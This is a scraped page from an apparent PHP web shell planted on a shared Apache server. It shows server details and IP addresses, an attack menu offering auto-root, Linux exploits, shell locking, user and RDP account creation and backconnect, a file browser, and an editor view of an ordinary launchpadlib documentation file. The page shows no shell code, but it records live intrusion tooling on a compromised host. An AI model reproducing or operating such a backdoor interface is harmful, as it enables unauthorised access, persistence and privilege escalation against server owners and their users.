Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
python3-launchpadlib /
docs /
[ HOME SHELL ]
Name
Size
Permission
Action
files
[ DIR ]
drwxr-xr-x
CONTRIBUTING.rst
1.27
KB
-rw-r--r--
Makefile
609
B
-rw-r--r--
command-line.rst
1.08
KB
-rw-r--r--
conf.py.gz
2.12
KB
-rw-r--r--
hosted-files.rst
2.86
KB
-rw-r--r--
index.rst
917
B
-rw-r--r--
introduction.rst.gz
3.51
KB
-rw-r--r--
operations.rst
858
B
-rw-r--r--
people.rst.gz
1.97
KB
-rw-r--r--
toplevel.rst
3.27
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : command-line.rst
******************** Command-line scripts ******************** Launchpad includes one command-line script to make Launchpad integration easier for third-party libraries that aren't written in Python. This file tests the workflow underlying the command-line script as best it can. RequestTokenApp =============== This class is called by the command-line script launchpad-request-token. It creates a request token on a given Launchpad installation, and returns a JSON description of the request token and the available access levels. >>> import json >>> from launchpadlib.apps import RequestTokenApp >>> web_root = "http://launchpad.test:8085/" >>> consumer_name = "consumer" >>> token_app = RequestTokenApp(web_root, consumer_name, "context") >>> token_json = json.loads(token_app.run()) >>> for param in sorted(token_json.keys()): ... print(param) access_levels lp.context oauth_token oauth_token_consumer oauth_token_secret >>> print token_json['lp.context'] context >>> print token_json['oauth_token_consumer'] consumer
Close